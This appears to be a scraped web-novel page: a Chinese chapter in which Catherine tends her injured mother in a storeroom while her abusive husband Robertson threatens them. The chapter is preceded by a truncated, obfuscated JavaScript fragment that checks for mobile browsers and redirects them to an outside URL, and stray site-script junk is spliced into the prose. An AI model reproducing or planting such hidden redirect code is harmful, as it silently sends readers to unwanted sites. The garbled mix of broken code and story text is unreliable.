16. 第 16 章 Don't hurt
c%a)>35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17060392|195046||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    了自己家里。

    可她自己也捉襟见肘,丈夫将大部分收入都拿去贿赂校董了,她只能一个人支付家里所有的账单,工作多年的积蓄甚至不足一千美元。

    她现在每周都需要卖一次血才能支付让母亲住进来的保费和税收,而且罗伯逊只允许母亲待在杂物间。

    但不管怎么样这里都比外面要好很多,西雅图的冬天太冷了,许多无家可归者都活不下去。

    她一边用毛巾轻轻擦拭母亲的手脚,一边安慰道:“没事的,你很快就会好了,到时候你就可以搬出这里,去找一份工作,再买一套新的房子,比以前的还要好,可以种你喜欢的绣球花,罗伯逊不会介意的……”

    床上年迈的女人头上包着纱布,艰难地看着女儿张了张嘴,却说不出完整的话。

    凯瑟琳没有试图去解读,因为她知道答案一定会令自己很难过。

    似乎人一旦进入母亲这个职业,就很容易诞生出无私奉献的品质,可她们却忘了自己也有好好活下去的权力,而不是视自己为累赘。

    她绝不会放任母亲死去,哪怕付出再大的代价。

    “嘭!”

    就在这时房门被猛地踢开了,动作显而易见的粗暴,打破了房间里短暂的温情。

    罗伯逊用力地扯了扯领结,脸上挂着虚伪的笑,像是一位彬彬有礼的丈夫,“我亲爱的妻子,你似乎忘了准备今天的晚餐,是太忙了吗?或许我可以代劳……哦,玛丽,你看起来比昨天好多了……”

    凯瑟琳蹭得一下起身,下意识挡在了母亲玛丽的病床前,但很快又意识到自己的反应有些太引人注目了。

    她克制不住颤抖,消瘦的身形几乎要被丈夫带进来的风吹倒,却对母亲露出安抚的笑容,“罗伯逊饿坏了,他连三明治都不会煎,抱歉妈妈,我很快就回来……”

    凯瑟琳在罗伯逊冰冷的注视下向他走去,缓缓合上了杂物室的门,直至最后一寸光线也被门板隔绝在外。

    可这栋房子的隔音太差了,下一秒客厅里的声音就渗进了杂物间。

    毫无保留。

    玛丽红了眼,在病床上拼命挣扎着,打了石膏的手脚却使不上丝毫力气,只有不断摇晃颤抖的输液管能表明她的痛苦。

    No,Don'thurther(不要伤害她)……